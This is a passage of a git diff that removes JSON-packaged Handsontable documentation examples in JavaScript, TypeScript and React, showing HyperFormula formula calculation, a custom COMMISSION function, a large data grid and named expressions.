install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"hyperformula\": \"latest\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n

    Sheet 1

    \n
    \n

    Sheet 2

    \n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HyperFormula } from 'hyperformula';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst data1 = [\n ['10.26', null, 'Sum', '=SUM(A:A)'],\n ['20.12', null, 'Average', '=AVERAGE(A:A)'],\n ['30.01', null, 'Median', '=MEDIAN(A:A)'],\n ['40.29', null, 'MAX', '=MAX(A:A)'],\n ['50.18', null, 'MIN', '=MIN(A1:A5)'],\n];\n\nconst data2 = [\n ['Is A1 in Sheet1 > 10?', '=IF(Sheet1!A1>10,\"TRUE\",\"FALSE\")'],\n ['Is A:A in Sheet > 150?', '=IF(SUM(Sheet1!A:A)>150,\"TRUE\",\"FALSE\")'],\n ['How many blank cells are in the Sheet1?', '=COUNTBLANK(Sheet1!A1:D5)'],\n ['Generate a random number', '=RAND()'],\n ['Number of sheets in this workbook', '=SHEETS()'],\n];\n\n// create an external HyperFormula instance\nconst hyperformulaInstance = HyperFormula.buildEmpty({\n // to use an external HyperFormula instance,\n // initialize it with the `'internal-use-in-handsontable'` license key\n licenseKey: 'internal-use-in-handsontable',\n});\n\nconst container1 = document.querySelector('#example-basic-multi-sheet-1');\n\nnew Handsontable(container1, {\n data: data1,\n colHeaders: true,\n rowHeaders: true,\n height: 'auto',\n formulas: {\n engine: hyperformulaInstance,\n sheetName: 'Sheet1',\n },\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});\n\nconst container2 = document.querySelector('#example-basic-multi-sheet-2');\n\nnew Handsontable(container2, {\n data: data2,\n colHeaders: true,\n rowHeaders: true,\n height: 'auto',\n formulas: {\n engine: hyperformulaInstance,\n sheetName: 'Sheet2',\n },\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../styles.css\";\nimport \"../index.js\";","/styles.css":"h3.demo-preview {\n margin-bottom: 0.3rem !important;\n padding-top: 0 !important;\n margin-top: 0.5rem !important;\n}"},"docsPath":"guides/formulas/formula-calculation/javascript/example1.js","breadcrumb":["Formulas","Formula calculation"],"guide":"guides/formulas/formula-calculation/formula-calculation.md","guideTitle":"Formula calculation","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/formula-calculation","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__formulas__formula-calculation__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/guides__formulas__formula-calculation__javascript__example1.ts.json deleted file mode 100644 index e7b8f24d..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__formulas__formula-calculation__javascript__example1.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"typescript","displayName":"Formulas ▸ Formula calculation · Standard example · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\",\n \"hyperformula\": \"latest\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n

    Sheet 1

    \n
    \n

    Sheet 2

    \n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HyperFormula } from 'hyperformula';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst data1: [string, null, string, string][] = [\n ['10.26', null, 'Sum', '=SUM(A:A)'],\n ['20.12', null, 'Average', '=AVERAGE(A:A)'],\n ['30.01', null, 'Median', '=MEDIAN(A:A)'],\n ['40.29', null, 'MAX', '=MAX(A:A)'],\n ['50.18', null, 'MIN', '=MIN(A1:A5)'],\n];\n\nconst data2: [string, string][] = [\n ['Is A1 in Sheet1 > 10?', '=IF(Sheet1!A1>10,\"TRUE\",\"FALSE\")'],\n ['Is A:A in Sheet > 150?', '=IF(SUM(Sheet1!A:A)>150,\"TRUE\",\"FALSE\")'],\n ['How many blank cells are in the Sheet1?', '=COUNTBLANK(Sheet1!A1:D5)'],\n ['Generate a random number', '=RAND()'],\n ['Number of sheets in this workbook', '=SHEETS()'],\n];\n\n// create an external HyperFormula instance\nconst hyperformulaInstance = HyperFormula.buildEmpty({\n // to use an external HyperFormula instance,\n // initialize it with the `'internal-use-in-handsontable'` license key\n licenseKey: 'internal-use-in-handsontable',\n});\n\nconst container1 = document.querySelector('#example-basic-multi-sheet-1')!;\n\nnew Handsontable(container1, {\n data: data1,\n colHeaders: true,\n rowHeaders: true,\n height: 'auto',\n formulas: {\n engine: hyperformulaInstance,\n sheetName: 'Sheet1',\n },\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});\n\nconst container2 = document.querySelector('#example-basic-multi-sheet-2')!;\n\nnew Handsontable(container2, {\n data: data2,\n colHeaders: true,\n rowHeaders: true,\n height: 'auto',\n formulas: {\n engine: hyperformulaInstance,\n sheetName: 'Sheet2',\n },\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../styles.css\";\nimport \"../index.ts\";","/styles.css":"h3.demo-preview {\n margin-bottom: 0.3rem !important;\n padding-top: 0 !important;\n margin-top: 0.5rem !important;\n}"},"docsPath":"guides/formulas/formula-calculation/javascript/example1.ts","breadcrumb":["Formulas","Formula calculation"],"guide":"guides/formulas/formula-calculation/formula-calculation.md","guideTitle":"Formula calculation","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/formula-calculation","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__formulas__formula-calculation__react__example-custom-functions.tsx.json b/runner/apps/authoring/public/docs-examples/guides__formulas__formula-calculation__react__example-custom-functions.tsx.json deleted file mode 100644 index 995daac9..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__formulas__formula-calculation__react__example-custom-functions.tsx.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"react","displayName":"Formulas ▸ Formula calculation · Demo: custom COMMISSION function · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\",\n \"hyperformula\": \"latest\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example-custom-functions\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { FunctionArgumentType, FunctionPlugin, HyperFormula } from 'hyperformula';\nimport type { ProcedureAst } from 'hyperformula/typings/parser/Ast';\nimport type { InterpreterState } from 'hyperformula/typings/interpreter/InterpreterState';\nimport type { InterpreterValue } from 'hyperformula/typings/interpreter/InterpreterValue';\nimport { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\nimport type { DetailedSettings } from 'handsontable/plugins/formulas';\n\n// register Handsontable's modules\nregisterAllModules();\n\nclass CommissionPlugin extends FunctionPlugin {\n commission(ast: ProcedureAst, state: InterpreterState): InterpreterValue {\n return this.runFunction(\n ast.args,\n state,\n this.metadata('COMMISSION'),\n (revenue: number, rate: number): number => revenue * (rate / 100),\n );\n }\n}\n\nCommissionPlugin.implementedFunctions = {\n COMMISSION: {\n method: 'commission',\n parameters: [\n { argumentType: FunctionArgumentType.NUMBER },\n { argumentType: FunctionArgumentType.NUMBER },\n ],\n },\n};\n\nHyperFormula.registerFunctionPlugin(CommissionPlugin, {\n enGB: { COMMISSION: 'COMMISSION' },\n});\n\nconst data: (string | number)[][] = [\n ['Sales rep', 'Revenue (USD)', 'Commission rate (%)', 'Commission amount (USD)'],\n ['Ana García', 45000, 8, '=COMMISSION(B2,C2)'],\n ['James Okafor', 62000, 10, '=COMMISSION(B3,C3)'],\n ['Li Wei', 38000, 8, '=COMMISSION(B4,C4)'],\n ['Maria Santos', 71000, 12, '=COMMISSION(B5,C5)'],\n ['David Kim', 29000, 7, '=COMMISSION(B6,C6)'],\n];\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/formulas/formula-calculation/react/example-custom-functions.tsx","breadcrumb":["Formulas","Formula calculation"],"guide":"guides/formulas/formula-calculation/formula-calculation.md","guideTitle":"Formula calculation","exampleId":"example-custom-functions","exampleTitle":"Demo: custom COMMISSION function","docPermalink":"/formula-calculation","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/guides__formulas__formula-calculation__react__example-data-grid.tsx.json b/runner/apps/authoring/public/docs-examples/guides__formulas__formula-calculation__react__example-data-grid.tsx.json deleted file mode 100644 index 49ccc8a1..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__formulas__formula-calculation__react__example-data-grid.tsx.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"react","displayName":"Formulas ▸ Formula calculation · Data grid example · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\",\n \"hyperformula\": \"latest\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example-data-grid\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HyperFormula } from 'hyperformula';\nimport { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n const data = [\n ['150', '643', '0.32', '11', '=A1*(B1*C1)+D1'],\n ['172', '474', '0.51', '11', '=A2*(B2*C2)+D2'],\n ['188', '371', '0.59', '11', '=A3*(B3*C3)+D3'],\n ['162', '731', '0.21', '10', '=A4*(B4*C4)+D4'],\n ['133', '682', '0.81', '9', '=A5*(B5*C5)+D5'],\n ['87', '553', '0.66', '10', '=A6*(B6*C6)+D6'],\n ['26', '592', '0.62', '11', '=A7*(B7*C7)+D7'],\n ['110', '461', '0.73', '9', '=A8*(B8*C8)+D8'],\n ['50', '346', '0.52', '15', '=A9*(B9*C9)+D9'],\n ['160', '423', '0.82', '11', '=A10*(B10*C10)+D10'],\n ['30', '216', '0.26', '9', '=A11*(B11*C11)+D11'],\n ['39', '473', '0.44', '5', '=A12*(B12*C12)+D12'],\n ['96', '490', '0.43', '5', '=A13*(B13*C13)+D13'],\n ['108', '176', '0.71', '7', '=A14*(B14*C14)+D14'],\n ['46', '586', '0.01', '14', '=A15*(B15*C15)+D15'],\n ['97', '514', '0.7', '14', '=A16*(B16*C16)+D16'],\n ['161', '717', '0.01', '13', '=A17*(B17*C17)+D17'],\n ['58', '123', '0.4', '8', '=A18*(B18*C18)+D18'],\n ['92', '739', '0.76', '14', '=A19*(B19*C19)+D19'],\n ['5', '320', '0.52', '13', '=A20*(B20*C20)+D20'],\n ['158', '480', '0.65', '5', '=A21*(B21*C21)+D21'],\n ['121', '373', '0.66', '8', '=A22*(B22*C22)+D22'],\n ['61', '704', '0.95', '7', '=A23*(B23*C23)+D23'],\n ['155', '452', '0.71', '10', '=A24*(B24*C24)+D24'],\n ['162', '693', '0.73', '11', '=A25*(B25*C25)+D25'],\n ['46', '75', '0.14', '15', '=A26*(B26*C26)+D26'],\n ['47', '691', '0.58', '15', '=A27*(B27*C27)+D27'],\n ['104', '346', '0.04', '7', '=A28*(B28*C28)+D28'],\n ['101', '717', '0.87', '5', '=A29*(B29*C29)+D29'],\n ['150', '487', '0.26', '15', '=A30*(B30*C30)+D30'],\n ['42', '465', '0.09', '14', '=A31*(B31*C31)+D31'],\n ['144', '337', '0.72', '7', '=A32*(B32*C32)+D32'],\n ['195', '138', '0.3', '6', '=A33*(B33*C33)+D33'],\n ['199', '717', '0.16', '6', '=A34*(B34*C34)+D34'],\n ['110', '236', '0.91', '9', '=A35*(B35*C35)+D35'],\n ['51', '351', '0.81', '13', '=A36*(B36*C36)+D36'],\n ['69', '221', '0.64', '9', '=A37*(B37*C37)+D37'],\n ['53', '125', '0.28', '12', '=A38*(B38*C38)+D38'],\n ['168', '428', '0.68', '9', '=A39*(B39*C39)+D39'],\n ['58', '361', '0.36', '5', '=A40*(B40*C40)+D40'],\n ['152', '213', '0.13', '13', '=A41*(B41*C41)+D41'],\n ['66', '431', '0.93', '10', '=A42*(B42*C42)+D42'],\n ['112', '108', '0.5', '14', '=A43*(B43*C43)+D43'],\n ['50', '127', '0.7', '7', '=A44*(B44*C44)+D44'],\n ['31', '200', '0.15', '14', '=A45*(B45*C45)+D45'],\n ['132', '654', '0.81', '8', '=A46*(B46*C46)+D46'],\n ['45', '438', '0.79', '6', '=A47*(B47*C47)+D47'],\n ['197', '615', '0.63', '7', '=A48*(B48*C48)+D48'],\n ['190', '592', '0.37', '8', '=A49*(B49*C49)+D49'],\n ['184', '419', '0.78', '8', '=A50*(B50*C50)+D50'],\n ['169', '58', '0.13', '7', '=A51*(B51*C51)+D51'],\n ['152', '324', '0.58', '5', '=A52*(B52*C52)+D52'],\n ['182', '713', '0.53', '5', '=A53*(B53*C53)+D53'],\n ['141', '576', '0.63', '12', '=A54*(B54*C54)+D54'],\n ['169', '429', '0.14', '13', '=A55*(B55*C55)+D55'],\n ['39', '694', '0.98', '13', '=A56*(B56*C56)+D56'],\n ['71', '361', '0.3', '13', '=A57*(B57*C57)+D57'],\n ['148', '540', '0.89', '6', '=A58*(B58*C58)+D58'],\n ['116', '52', '0.3', '7', '=A59*(B59*C59)+D59'],\n ['96', '395', '0.28', '7', '=A60*(B60*C60)+D60'],\n ['35', '222', '0.86', '13', '=A61*(B61*C61)+D61'],\n ['16', '430', '0.8', '8', '=A62*(B62*C62)+D62'],\n ['194', '357', '0.72', '9', '=A63*(B63*C63)+D63'],\n ['24', '498', '0.7', '7', '=A64*(B64*C64)+D64'],\n ['170', '142', '0.52', '5', '=A65*(B65*C65)+D65'],\n ['184', '614', '0.68', '9', '=A66*(B66*C66)+D66'],\n ['153', '524', '0.15', '9', '=A67*(B67*C67)+D67'],\n ['88', '620', '0.39', '15', '=A68*(B68*C68)+D68'],\n ['57', '452', '0.11', '6', '=A69*(B69*C69)+D69'],\n ['62', '493', '0.03', '11', '=A70*(B70*C70)+D70'],\n ['123', '431', '0.75', '15', '=A71*(B71*C71)+D71'],\n ['77', '113', '0.63', '12', '=A72*(B72*C72)+D72'],\n ['199', '208', '0.07', '6', '=A73*(B73*C73)+D73'],\n ['149', '514', '0.42', '12', '=A74*(B74*C74)+D74'],\n ['191', '334', '0.78', '13', '=A75*(B75*C75)+D75'],\n ['150', '643', '0.32', '11', '=A76*(B76*C76)+D76'],\n ['130', '721', '0.62', '5', '=A77*(B77*C77)+D77'],\n ['179', '517', '0.1', '8', '=A78*(B78*C78)+D78'],\n ['98', '31', '0.01', '10', '=A79*(B79*C79)+D79'],\n ['175', '509', '0.7', '11', '=A80*(B80*C80)+D80'],\n ['11', '569', '0.37', '7', '=A81*(B81*C81)+D81'],\n ['184', '630', '0.19', '6', '=A82*(B82*C82)+D82'],\n ['27', '165', '0.51', '13', '=A83*(B83*C83)+D83'],\n ['186', '417', '0.85', '15', '=A84*(B84*C84)+D84'],\n ['20', '741', '0.76', '11', '=A85*(B85*C85)+D85'],\n ['153', '640', '0.28', '6', '=A86*(B86*C86)+D86'],\n ['161', '542', '0.43', '14', '=A87*(B87*C87)+D87'],\n ['98', '344', '0.77', '6', '=A88*(B88*C88)+D88'],\n ['30', '400', '0.71', '13', '=A89*(B89*C89)+D89'],\n ['73', '91', '0.78', '8', '=A90*(B90*C90)+D90'],\n ['158', '72', '0.66', '12', '=A91*(B91*C91)+D91'],\n ['122', '35', '0.32', '15', '=A92*(B92*C92)+D92'],\n ['33', '99', '0.92', '9', '=A93*(B93*C93)+D93'],\n ['107', '538', '0.75', '10', '=A94*(B94*C94)+D94'],\n ['15', '563', '0.32', '6', '=A95*(B95*C95)+D95'],\n ['168', '572', '0.71', '6', '=A96*(B96*C96)+D96'],\n ['135', '217', '0.49', '12', '=A97*(B97*C97)+D97'],\n ['11', '595', '0.03', '13', '=A98*(B98*C98)+D98'],\n ['41', '739', '0.88', '11', '=A99*(B99*C99)+D99'],\n ['144', '289', '0.87', '13', '=A100*(B100*C100)+D100'],\n ['Sum', 'Average', 'Average', 'Sum', 'Sum'],\n ['=SUM(A1:A100)', '=AVERAGE(B1:B100)', '=AVERAGE(C1:C100)', '=SUM(D1:D100)', '=SUM(E1:E100)'],\n ];\n\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/formulas/formula-calculation/react/example-data-grid.tsx","breadcrumb":["Formulas","Formula calculation"],"guide":"guides/formulas/formula-calculation/formula-calculation.md","guideTitle":"Formula calculation","exampleId":"example-data-grid","exampleTitle":"Data grid example","docPermalink":"/formula-calculation","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/guides__formulas__formula-calculation__react__example-named-expressions1.tsx.json b/runner/apps/authoring/public/docs-examples/guides__formulas__formula-calculation__react__example-named-expressions1.tsx.json deleted file mode 100644 index 2d322b20..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__formulas__formula-calculation__react__example-named-expressions1.tsx.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"react","displayName":"Formulas ▸ Formula calculation · Demo: plain-value named expression · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\",\n \"hyperformula\": \"latest\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example-named-expressions1\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { ChangeEvent, useRef, useState } from 'react';\nimport { HyperFormula } from 'hyperformula';\nimport { HotTable, HotTableRef } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\nimport { DetailedSettings } from 'handsontable/plugins/formulas';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n const hotNamedExpressionsRef = useRef(null);\n const [namedExpressionValue, setNamedExpressionValue] = useState('=10 * Sheet1!$A$2');\n\n const data = [\n ['Travel ID', 'Destination', 'Base price', 'Price with extra cost'],\n ['154', 'Rome', 400, '=ROUND(ADDITIONAL_COST+C2,0)'],\n ['155', 'Athens', 300, '=ROUND(ADDITIONAL_COST+C3,0)'],\n ['156', 'Warsaw', 150, '=ROUND(ADDITIONAL_COST+C4,0)'],\n ];\n\n const inputChangeCallback = (event: ChangeEvent) => {\n setNamedExpressionValue(event.target.value);\n };\n\n const buttonClickCallback = () => {\n const hotNamedExpressions = hotNamedExpressionsRef.current?.hotInstance;\n const formulasPlugin = hotNamedExpressions?.getPlugin('formulas');\n\n formulasPlugin?.engine?.changeNamedExpression('ADDITIONAL_COST', namedExpressionValue);\n\n hotNamedExpressions?.render();\n };\n\n return (\n <>\n
    \n
    \n inputChangeCallback(...args)}\n />\n \n
    \n
    \n \n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/formulas/formula-calculation/react/example-named-expressions1.tsx","breadcrumb":["Formulas","Formula calculation"],"guide":"guides/formulas/formula-calculation/formula-calculation.md","guideTitle":"Formula calculation","exampleId":"example-named-expressions1","exampleTitle":"Demo: plain-value named expression","docPermalink":"/formula-calculation","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/guides__formulas__formula-calculation__react__example-named-expressions2.tsx.json b/runner/apps/authoring/public/docs-examples/guides__formulas__formula-calculation__react__example-named-expressions2.tsx.json deleted file mode 100644 index 5e4815c2..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__formulas__formula-calculation__react__example-named-expressions2.tsx.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"react","displayName":"Formulas ▸ Formula calculation · Demo: formula-based named expressions · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\",\n \"hyperformula\": \"latest\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example-named-expressions2\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HyperFormula } from 'hyperformula';\nimport { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\n// Named expressions that reference cell ranges must be registered after the sheet\n// exists. Pre-build the engine at module level so it is created only once.\nconst hfInstance = HyperFormula.buildEmpty({\n licenseKey: 'internal-use-in-handsontable',\n});\n\nhfInstance.addSheet('Sheet1');\nhfInstance.addNamedExpression('Q1_TOTAL', '=SUM(Sheet1!$B$1:$B$3)');\nhfInstance.addNamedExpression('Q2_TOTAL', '=SUM(Sheet1!$C$1:$C$3)');\n\nconst data = [\n ['Widget A', 200, 250],\n ['Widget B', 150, 300],\n ['Widget C', 400, 350],\n ['Totals', '=Q1_TOTAL', '=Q2_TOTAL'],\n];\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/formulas/formula-calculation/react/example-named-expressions2.tsx","breadcrumb":["Formulas","Formula calculation"],"guide":"guides/formulas/formula-calculation/formula-calculation.md","guideTitle":"Formula calculation","exampleId":"example-named-expressions2","exampleTitle":"Demo: formula-based named expressions","docPermalink":"/formula-calculation","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/guides__formulas__formula-calculation__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/guides__formulas__formula-calculation__react__example1.tsx.json deleted file mode 100644 index f4018509..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__formulas__formula-calculation__react__example1.tsx.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"react","displayName":"Formulas ▸ Formula calculation · Standard example · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":6,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\",\n \"hyperformula\": \"latest\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport \"./styles.css\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example1\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HyperFormula } from 'hyperformula';\nimport { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n const data1 = [\n ['10.26', null, 'Sum', '=SUM(A:A)'],\n ['20.12', null, 'Average', '=AVERAGE(A:A)'],\n ['30.01', null, 'Median', '=MEDIAN(A:A)'],\n ['40.29', null, 'MAX', '=MAX(A:A)'],\n ['50.18', null, 'MIN', '=MIN(A1:A5)'],\n ];\n\n const data2 = [\n ['Is A1 in Sheet1 > 10?', '=IF(Sheet1!A1>10,\"TRUE\",\"FALSE\")'],\n ['Is A:A in Sheet > 150?', '=IF(SUM(Sheet1!A:A)>150,\"TRUE\",\"FALSE\")'],\n ['How many blank cells are in the Sheet1?', '=COUNTBLANK(Sheet1!A1:D5)'],\n ['Generate a random number', '=RAND()'],\n ['Number of sheets in this workbook', '=SHEETS()'],\n ];\n\n // create an external HyperFormula instance\n const hyperformulaInstance = HyperFormula.buildEmpty({\n // to use an external HyperFormula instance,\n // initialize it with the `'internal-use-in-handsontable'` license key\n licenseKey: 'internal-use-in-handsontable',\n });\n\n return (\n <>\n

    Sheet 1

    \n \n

    Sheet 2

